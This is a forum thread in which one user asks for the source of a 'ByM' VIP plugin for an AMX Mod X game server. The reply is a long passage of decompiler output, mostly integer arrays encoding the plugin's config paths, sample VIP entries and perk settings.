Raised This Month: $51 Target: $400
 12% 

ByM vip sma


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
newstartnewbegin2
Junior Member
Join Date: Jul 2019
Old 07-21-2019 , 11:50   ByM vip sma
Reply With Quote #1

Anyone have sma file please?!
https://forum.kgb-hosting.com/showthread.php?t=95667
newstartnewbegin2 is offline
Kellan123
AlliedModders Donor
Join Date: Aug 2012
Old 07-21-2019 , 16:56   Re: ByM vip sma
Reply With Quote #2

AMX Decompiler

Code:
 new ApiOznake[5];
new ApiGlobalne[130];
new __dhud_color;
new __dhud_x;
new __dhud_y;
new __dhud_effect;
new __dhud_fxtime;
new __dhud_holdtime;
new __dhud_fadeintime;
new __dhud_fadeouttime;
new __dhud_reliable;
new TeamName[4][0] =
{
	{
		0, ...
	},
	{
		84, ...
	},
	{
		67, ...
	},
	{
		83, ...
	}
};
new _vault_dir[31] =
{
	97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 100, 97, 116, 97, 47, 102, 105, 108, 101, 95, 118, 97, 117, 108, 116, 0
};
new _temp_vault[16] =
{
	102, 118, 97, 117, 108, 116, 95, 116, 101, 109, 112, 46, 116, 120, 116, 0
};
new Datoteke[3][0] =
{
	{
		97, ...
	},
	{
		97, ...
	},
	{
		97, ...
	}
};
new xs__ITaskId = 12;
new xs__ITaskParam[1033] =
{
	12, 176, 380, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 0, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 86, 105, 112, 111, 118, 105, 46, 105, 110, 105, 0, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 80, 111, 100, 101, 115, 97, 118, 97, 110, 106, 97, 46, 99, 102, 103, 0, 40, 232, 308, 464, 468, 568, 728, 836, 956, 956, 59, 32, 79, 118, 100, 101, 32, 115, 101, 32, 100, 111, 100, 97, 106, 117, 32, 118, 105, 112, 111, 118, 105, 32, 40, 85, 108, 116, 114, 97, 32, 86, 105, 112, 32, 98, 121, 32, 77, 105, 108, 117, 116, 105, 110, 107, 101, 41, 0, 59, 32, 70, 111, 114, 109, 97, 116, 32, 68, 111, 100, 97, 118, 97, 110, 106, 97, 58, 0, 59, 32, 60, 83, 116, 101, 97, 109, 32, 73, 68, 47, 78, 105, 99, 107, 47, 73, 112, 62, 32, 60, 76, 111, 122, 105, 110, 107, 97, 47, 80, 97, 115, 115, 119, 111, 114, 100, 62, 0, 32, 0, 59, 32, 80, 114, 105, 109, 101, 114, 105, 32, 100, 111, 100, 97, 116, 105, 104, 32, 118, 105, 112, 111, 118, 97, 58, 0, 59, 32, 34, 83, 84, 69, 65, 77, 95, 48, 58, 48, 58, 49, 57, 50, 51, 54, 49, 48, 49, 50, 53, 52, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 32, 0, 59, 32, 34, 109, 105, 108, 117, 116, 105, 110, 107, 101, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 0, 59, 32, 34, 50, 52, 46, 50, 51, 46, 53, 54, 46, 49, 51, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 32, 0, 0, 32, 0, 32, 76, 128, 192, 260, 312, 384, 464, 118, 105, 112, 95, 106, 101, 95, 117, 115, 97, 111, 0, 118, 105, 112, 95, 106, 101, 95, 105, 122, 97, 115, 97, 111, 0, 118, 105, 112, 95, 115, 101, 95, 115, 112, 97, 119, 110, 111, 118, 97, 111, 0, 118, 105, 112, 95, 106, 101, 95, 117, 98, 105, 111, 95, 110, 101, 107, 111, 103, 0, 118, 105, 112, 95, 106, 101, 95, 117, 98, 105, 106, 101, 110, 0, 118, 105, 112, 95, 106, 101, 95, 112, 111, 115, 116, 97, 118, 105, 111, 95, 99, 52, 0, 118, 105, 112, 95, 106, 101, 95, 100, 101, 109, 111, 110, 116, 105, 114, 97, 111, 95, 99, 52, 0, 118, 105, 112, 95, 106, 101, 95, 115, 112, 97, 115, 105, 111, 95, 116, 97, 111, 99, 97, 0, 160, 168, 176, 184, 192, 200, 208, 216, 224, 232, 240, 248, 256, 264, 272, 280, 288, 296, 304, 312, 320, 328, 336, 344, 352, 360, 368, 376, 384, 392, 400, 408, 416, 424, 432, 440, 448, 456, 464, 472, 480, 604, 612, 808, 916, 932, 1112, 1220, 1232, 1412, 1536, 1544, 1740, 1844, 1852, 2080, 2188, 2196, 2376, 2464, 2472, 2684, 2792, 2804, 2984, 3072, 3084, 3296, 3384, 3396, 3628, 3748, 3752, 3944, 4044, 4048, 4272, 4372, 4384, 4616, 4648, 4652, 4720, 4800, 4804, 4916, 4952, 4968, 5480, 5564, 5572, 5748, 5812, 5816, 6028, 6112, 6116, 6436, 6484, 6488, 6832, 6896, 6900, 7148, 7268, 7272, 7652, 7760, 7804, 8176, 8280, 8284, 8512, 8572, 8588, 8772, 8820, 8824, 9372, 9424, 9444, 10072, 10104, 10108, 10448, 10504, 10508, 11020, 11068, 11076, 11532, 11564, 11568, 12000, 12060, 12080, 12340, 12428, 12432, 12724, 12808, 12812, 12908, 12984, 12988, 13092, 13172, 13176, 13260, 13336, 13340, 13464, 13540, 13544, 13656, 13732, 13748, 13964, 14036, 14040, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 97, 95, 101, 110, 101, 114, 103, 105, 106, 97, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 53, 48, 0, 68, 111, 100, 97, 116, 110, 97, 32, 101, 110, 101, 114, 103, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 101, 95, 112, 97, 114, 101, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 51, 48, 48, 48, 0, 68, 111, 100, 97, 116, 110, 101, 32, 112, 97, 114, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 105, 95, 115, 116, 105, 116, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 49, 48, 48, 0, 68, 111, 100, 97, 116, 110, 105, 32, 115, 116, 105, 116, 32, 107, 111, 106, 105, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 101, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 97, 95, 101, 110, 101, 114, 103, 105, 106, 97, 95, 122, 97, 95, 117, 98, 105, 115, 116, 118, 111, 0, 49, 53, 0, 68, 111, 100, 97, 116, 110, 97, 32, 101, 110, 101, 114, 103, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 101, 32, 107, 97, 100, 97, 32, 117, 98, 105, 106, 101, 32, 110, 101, 107, 111, 103
};
new xs__TaskFlags[5] =
{
	12, 176, 380, 97, 100
};
new xs__TaskFunc[48] =
{
	12, 176, 380, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 0, 97, 100, 100
};
new xs__TaskId = 12;
new Float:xs__TaskInterval = 12;
new xs__TaskParam[1033] =
{
	12, 176, 380, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 0, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 86, 105, 112, 111, 118, 105, 46, 105, 110, 105, 0, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 80, 111, 100, 101, 115, 97, 118, 97, 110, 106, 97, 46, 99, 102, 103, 0, 40, 232, 308, 464, 468, 568, 728, 836, 956, 956, 59, 32, 79, 118, 100, 101, 32, 115, 101, 32, 100, 111, 100, 97, 106, 117, 32, 118, 105, 112, 111, 118, 105, 32, 40, 85, 108, 116, 114, 97, 32, 86, 105, 112, 32, 98, 121, 32, 77, 105, 108, 117, 116, 105, 110, 107, 101, 41, 0, 59, 32, 70, 111, 114, 109, 97, 116, 32, 68, 111, 100, 97, 118, 97, 110, 106, 97, 58, 0, 59, 32, 60, 83, 116, 101, 97, 109, 32, 73, 68, 47, 78, 105, 99, 107, 47, 73, 112, 62, 32, 60, 76, 111, 122, 105, 110, 107, 97, 47, 80, 97, 115, 115, 119, 111, 114, 100, 62, 0, 32, 0, 59, 32, 80, 114, 105, 109, 101, 114, 105, 32, 100, 111, 100, 97, 116, 105, 104, 32, 118, 105, 112, 111, 118, 97, 58, 0, 59, 32, 34, 83, 84, 69, 65, 77, 95, 48, 58, 48, 58, 49, 57, 50, 51, 54, 49, 48, 49, 50, 53, 52, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 32, 0, 59, 32, 34, 109, 105, 108, 117, 116, 105, 110, 107, 101, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 0, 59, 32, 34, 50, 52, 46, 50, 51, 46, 53, 54, 46, 49, 51, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 32, 0, 0, 32, 0, 32, 76, 128, 192, 260, 312, 384, 464, 118, 105, 112, 95, 106, 101, 95, 117, 115, 97, 111, 0, 118, 105, 112, 95, 106, 101, 95, 105, 122, 97, 115, 97, 111, 0, 118, 105, 112, 95, 115, 101, 95, 115, 112, 97, 119, 110, 111, 118, 97, 111, 0, 118, 105, 112, 95, 106, 101, 95, 117, 98, 105, 111, 95, 110, 101, 107, 111, 103, 0, 118, 105, 112, 95, 106, 101, 95, 117, 98, 105, 106, 101, 110, 0, 118, 105, 112, 95, 106, 101, 95, 112, 111, 115, 116, 97, 118, 105, 111, 95, 99, 52, 0, 118, 105, 112, 95, 106, 101, 95, 100, 101, 109, 111, 110, 116, 105, 114, 97, 111, 95, 99, 52, 0, 118, 105, 112, 95, 106, 101, 95, 115, 112, 97, 115, 105, 111, 95, 116, 97, 111, 99, 97, 0, 160, 168, 176, 184, 192, 200, 208, 216, 224, 232, 240, 248, 256, 264, 272, 280, 288, 296, 304, 312, 320, 328, 336, 344, 352, 360, 368, 376, 384, 392, 400, 408, 416, 424, 432, 440, 448, 456, 464, 472, 480, 604, 612, 808, 916, 932, 1112, 1220, 1232, 1412, 1536, 1544, 1740, 1844, 1852, 2080, 2188, 2196, 2376, 2464, 2472, 2684, 2792, 2804, 2984, 3072, 3084, 3296, 3384, 3396, 3628, 3748, 3752, 3944, 4044, 4048, 4272, 4372, 4384, 4616, 4648, 4652, 4720, 4800, 4804, 4916, 4952, 4968, 5480, 5564, 5572, 5748, 5812, 5816, 6028, 6112, 6116, 6436, 6484, 6488, 6832, 6896, 6900, 7148, 7268, 7272, 7652, 7760, 7804, 8176, 8280, 8284, 8512, 8572, 8588, 8772, 8820, 8824, 9372, 9424, 9444, 10072, 10104, 10108, 10448, 10504, 10508, 11020, 11068, 11076, 11532, 11564, 11568, 12000, 12060, 12080, 12340, 12428, 12432, 12724, 12808, 12812, 12908, 12984, 12988, 13092, 13172, 13176, 13260, 13336, 13340, 13464, 13540, 13544, 13656, 13732, 13748, 13964, 14036, 14040, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 97, 95, 101, 110, 101, 114, 103, 105, 106, 97, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 53, 48, 0, 68, 111, 100, 97, 116, 110, 97, 32, 101, 110, 101, 114, 103, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 101, 95, 112, 97, 114, 101, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 51, 48, 48, 48, 0, 68, 111, 100, 97, 116, 110, 101, 32, 112, 97, 114, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 105, 95, 115, 116, 105, 116, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 49, 48, 48, 0, 68, 111, 100, 97, 116, 110, 105, 32, 115, 116, 105, 116, 32, 107, 111, 106, 105, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 101, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 97, 95, 101, 110, 101, 114, 103, 105, 106, 97, 95, 122, 97, 95, 117, 98, 105, 115, 116, 118, 111, 0, 49, 53, 0, 68, 111, 100, 97, 116, 110, 97, 32, 101, 110, 101, 114, 103, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 101, 32, 107, 97, 100, 97, 32, 117, 98, 105, 106, 101, 32, 110, 101, 107, 111, 103
};
new xs__TaskRepeat = 12;
new xs__global_null = 12;
new xs__internalseed = 12;
new xs__logtypenames[6][0] =
{
	{
		97, ...
	},
	{
		97, ...
	},
	{
		97, ...
	},
	{
		1291845632, ...
	},
	{
		95, ...
	},
	{
		85, ...
	}
};
new xs__maxnum = 12;
new xs__replace_buf[3072] =
{
	12, 176, 380, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 0, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 86, 105, 112, 111, 118, 105, 46, 105, 110, 105, 0, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 80, 111, 100, 101, 115, 97, 118, 97, 110, 106, 97, 46, 99, 102, 103, 0, 40, 232, 308, 464, 468, 568, 728, 836, 956, 956, 59, 32, 79, 118, 100, 101, 32, 115, 101, 32, 100, 111, 100, 97, 106, 117, 32, 118, 105, 112, 111, 118, 105, 32, 40, 85, 108, 116, 114, 97, 32, 86, 105, 112, 32, 98, 121, 32, 77, 105, 108, 117, 116, 105, 110, 107, 101, 41, 0, 59, 32, 70, 111, 114, 109, 97, 116, 32, 68, 111, 100, 97, 118, 97, 110, 106, 97, 58, 0, 59, 32, 60, 83, 116, 101, 97, 109, 32, 73, 68, 47, 78, 105, 99, 107, 47, 73, 112, 62, 32, 60, 76, 111, 122, 105, 110, 107, 97, 47, 80, 97, 115, 115, 119, 111, 114, 100, 62, 0, 32, 0, 59, 32, 80, 114, 105, 109, 101, 114, 105, 32, 100, 111, 100, 97, 116, 105, 104, 32, 118, 105, 112, 111, 118, 97, 58, 0, 59, 32, 34, 83, 84, 69, 65, 77, 95, 48, 58, 48, 58, 49, 57, 50, 51, 54, 49, 48, 49, 50, 53, 52, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 32, 0, 59, 32, 34, 109, 105, 108, 117, 116, 105, 110, 107, 101, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 0, 59, 32, 34, 50, 52, 46, 50, 51, 46, 53, 54, 46, 49, 51, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 32, 0, 0, 32, 0, 32, 76, 128, 192, 260, 312, 384, 464, 118, 105, 112, 95, 106, 101, 95, 117, 115, 97, 111, 0, 118, 105, 112, 95, 106, 101, 95, 105, 122, 97, 115, 97, 111, 0, 118, 105, 112, 95, 115, 101, 95, 115, 112, 97, 119, 110, 111, 118, 97, 111, 0, 118, 105, 112, 95, 106, 101, 95, 117, 98, 105, 111, 95, 110, 101, 107, 111, 103, 0, 118, 105, 112, 95, 106, 101, 95, 117, 98, 105, 106, 101, 110, 0, 118, 105, 112, 95, 106, 101, 95, 112, 111, 115, 116, 97, 118, 105, 111, 95, 99, 52, 0, 118, 105, 112, 95, 106, 101, 95, 100, 101, 109, 111, 110, 116, 105, 114, 97, 111, 95, 99, 52, 0, 118, 105, 112, 95, 106, 101, 95, 115, 112, 97, 115, 105, 111, 95, 116, 97, 111, 99, 97, 0, 160, 168, 176, 184, 192, 200, 208, 216, 224, 232, 240, 248, 256, 264, 272, 280, 288, 296, 304, 312, 320, 328, 336, 344, 352, 360, 368, 376, 384, 392, 400, 408, 416, 424, 432, 440, 448, 456, 464, 472, 480, 604, 612, 808, 916, 932, 1112, 1220, 1232, 1412, 1536, 1544, 1740, 1844, 1852, 2080, 2188, 2196, 2376, 2464, 2472, 2684, 2792, 2804, 2984, 3072, 3084, 3296, 3384, 3396, 3628, 3748, 3752, 3944, 4044, 4048, 4272, 4372, 4384, 4616, 4648, 4652, 4720, 4800, 4804, 4916, 4952, 4968, 5480, 5564, 5572, 5748, 5812, 5816, 6028, 6112, 6116, 6436, 6484, 6488, 6832, 6896, 6900, 7148, 7268, 7272, 7652, 7760, 7804, 8176, 8280, 8284, 8512, 8572, 8588, 8772, 8820, 8824, 9372, 9424, 9444, 10072, 10104, 10108, 10448, 10504, 10508, 11020, 11068, 11076, 11532, 11564, 11568, 12000, 12060, 12080, 12340, 12428, 12432, 12724, 12808, 12812, 12908, 12984, 12988, 13092, 13172, 13176, 13260, 13336, 13340, 13464, 13540, 13544, 13656, 13732, 13748, 13964, 14036, 14040, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 97, 95, 101, 110, 101, 114, 103, 105, 106, 97, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 53, 48, 0, 68, 111, 100, 97, 116, 110, 97, 32, 101, 110, 101, 114, 103, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 101, 95, 112, 97, 114, 101, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 51, 48, 48, 48, 0, 68, 111, 100, 97, 116, 110, 101, 32, 112, 97, 114, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 105, 95, 115, 116, 105, 116, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 49, 48, 48, 0, 68, 111, 100, 97, 116, 110, 105, 32, 115, 116, 105, 116, 32, 107, 111, 106, 105, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 101, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 97, 95, 101, 110, 101, 114, 103, 105, 106, 97, 95, 122, 97, 95, 117, 98, 105, 115, 116, 118, 111, 0, 49, 53, 0, 68, 111, 100, 97, 116, 110, 97, 32, 101, 110, 101, 114, 103, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 101, 32, 107, 97, 100, 97, 32, 117, 98, 105, 106, 101, 32, 110, 101, 107, 111, 103, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 97, 95, 101, 110, 101, 114, 103, 105, 106, 97, 95, 122, 97, 95, 104, 115, 0, 50, 48, 0, 68, 111, 100, 97, 116, 110, 97, 32, 101, 110, 101, 114, 103, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 101, 32, 107, 97, 100, 97, 32, 117, 112, 117, 99, 97, 32, 110, 101, 107, 111, 103, 32, 117, 32, 103, 108, 97, 118, 117, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 105, 95, 115, 116, 105, 116, 95, 122, 97, 95, 117, 98, 105, 115, 116, 118, 111, 0, 49, 48, 0, 68, 111, 100, 97, 116, 110, 105, 32, 115, 116, 105, 116, 32, 107, 111, 106, 105, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 117, 98, 105, 106, 101, 32, 110, 101, 107, 111, 103, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 105, 95, 115, 116, 105, 116, 95, 122, 97, 95, 104, 115, 0, 49, 53, 0, 68, 111, 100, 97, 116, 110, 105, 32, 115, 116, 105, 116, 32, 107, 111, 106, 105, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 117, 112, 117, 99, 97, 32, 110, 101, 107, 111, 103, 32, 117, 32, 103, 108, 97, 118, 117, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 101, 95, 112, 97, 114, 101, 95, 122, 97, 95, 117, 98, 105, 115, 116, 118, 111, 0, 51, 53, 48, 0, 68, 111, 100, 97, 116, 110, 101, 32, 112, 97, 114, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 117, 98, 105, 106, 101, 32, 110, 101, 107, 111, 103, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 101, 95, 112, 97, 114, 101, 95, 122, 97, 95, 104, 115, 0, 52, 48, 48, 0, 68, 111, 100, 97, 116, 110, 101, 32, 112, 97, 114, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 117, 112, 117, 99, 97, 32, 110, 101, 107, 111, 103, 32, 117, 32, 103, 108, 97, 118, 117, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 101, 95, 112, 97, 114, 101, 95, 122, 97, 95, 99, 52, 0, 53, 48, 48, 0, 68, 111, 100, 97, 116, 110, 101, 32, 112, 97, 114, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 112, 111, 115, 116, 97, 118, 105, 32, 105, 108, 105, 32, 100, 101, 109, 111, 110, 116, 105, 114, 97, 32, 67, 52, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 105, 95, 102, 114, 97, 103, 111, 118, 105, 95, 122, 97, 95, 117, 98, 105, 115, 116, 118, 111, 0, 49, 0, 68, 111, 100, 97, 116, 110, 105, 32, 102, 114, 97, 103, 111, 118, 105, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 117, 98, 105, 106, 101, 32, 110, 101, 107, 111, 103, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 105, 95, 102, 114, 97, 103, 111, 118, 105, 95, 122, 97, 95, 104, 115, 0, 50, 0, 68, 111, 100, 97, 116, 110, 105, 32, 102, 114, 97, 103, 111, 118, 105, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 117, 112, 117, 99, 97, 32, 110, 101, 107, 111, 103, 32, 117, 32, 103, 108, 97, 118, 117, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 101, 95, 112, 97, 114, 101, 95, 122, 97, 95, 116, 97, 111, 99, 97, 0, 51, 48, 48, 0, 68, 111, 100, 97, 116, 110, 101, 32, 112, 97, 114, 101, 32, 107, 111, 106, 101, 32, 105, 103, 114, 97, 99, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 115, 112, 97, 115, 105, 32, 116, 97, 111, 99, 97, 32, 40, 80, 111, 32, 116, 97, 111, 99, 117, 41, 0, 118, 105, 112, 95, 98, 104, 111, 112, 0, 49, 0, 86, 105, 112, 32, 105, 109, 97, 32, 66, 117, 110, 110, 121, 32, 72, 111, 112, 0, 118, 105, 112, 95, 112, 114, 101, 99, 105, 122, 110, 111, 95, 112, 117, 99, 97, 110, 106, 101, 0, 49, 0, 86, 105, 112, 117, 32, 110, 101, 32, 116, 114, 122, 97, 32, 112, 117, 115, 107, 97, 32, 107, 97, 100, 97, 32, 112, 117, 99, 97, 0, 118, 105, 112, 95, 98, 111, 109, 98, 101, 0, 103, 100, 122, 102, 0, 66, 111, 109, 98, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 110, 97, 32, 112, 111, 99, 101, 116, 107, 117, 32, 91, 103, 32, 45, 32, 82, 117, 99, 110, 97, 32, 71, 114, 97, 110, 97, 116, 97, 32, 124, 32, 100, 32, 45, 32, 68, 105, 109, 110, 97, 32, 66, 111, 109, 98, 97, 32, 124, 32, 122, 32, 45, 32, 90, 97, 115, 108, 101, 112, 108, 106, 117, 106, 117, 99, 97, 32, 66, 111, 109, 98, 97, 32, 124, 32, 102, 32, 45, 32, 68, 114, 117, 103, 97, 32, 90, 97, 115, 108, 101, 112, 108, 106, 117, 106, 117, 99, 97, 32, 66, 111, 109, 98, 97, 93, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 111, 95, 111, 115, 116, 101, 99, 101, 110, 106, 101, 0, 49, 48, 0, 68, 111, 100, 97, 116, 110, 111, 32, 111, 115, 116, 101, 99, 101, 110, 106, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 110, 97, 110, 111, 115, 105, 32, 112, 114, 111, 116, 105, 118, 110, 105, 107, 117, 0, 118, 105, 112, 95, 99, 104, 97, 116, 95, 112, 114, 101, 102, 105, 107, 115, 0, 49, 0, 86, 105, 112, 32, 105, 109, 97, 32, 99, 104, 97, 116, 32, 112, 114, 101, 102, 105, 107, 115, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 32, 105, 32, 112, 114, 101, 112, 111, 114, 117, 99, 101, 110, 111, 58, 32, 49, 93, 0, 118, 105, 112, 95, 98, 111, 106, 97, 95, 99, 104, 97, 116, 95, 112, 114, 101, 102, 105, 107, 97, 0, 50, 0, 66, 111, 106, 97, 32, 118, 105, 112, 32, 99, 104, 97, 116, 32, 112, 114, 101, 102, 105, 107, 115, 97, 32, 91, 49, 32, 45, 32, 122, 117, 116, 97, 32, 124, 32, 50, 32, 45, 32, 90, 101, 108, 101, 110, 97, 32, 124, 32, 51, 32, 45, 32, 84, 105, 109, 32, 98, 111, 106, 97, 93, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 58, 32, 50, 93, 0, 118, 105, 112, 95, 115, 107, 111, 114, 95, 116, 97, 103, 0, 49, 0, 85, 32, 115, 107, 111, 114, 98, 111, 97, 114, 100, 117, 32, 118, 105, 112, 117, 32, 115, 116, 111, 106, 105, 32, 111, 122, 110, 97, 107, 97, 32, 86, 73, 80, 32, 40, 83, 97, 109, 111, 32, 99, 116, 32, 105, 103, 114, 97, 99, 105, 109, 97, 41, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 32, 105, 32, 112, 114, 101, 112, 111, 114, 117, 99, 101, 110, 111, 58, 32, 49, 93, 0, 118, 105, 112, 95, 98, 114, 111, 106, 95, 115, 107, 111, 107, 111, 118, 97, 0, 50, 0, 75, 111, 108, 105, 107, 111, 32, 112, 117, 116, 97, 32, 118, 105, 112, 32, 109, 111, 122, 101, 32, 100, 97, 32, 115, 107, 111, 99, 105, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 32, 105, 32, 112, 114, 101, 112, 111, 114, 117, 99, 101, 110, 111, 58, 32, 50, 93, 0, 118, 105, 112, 95, 117, 115, 97, 111, 95, 110, 97, 95, 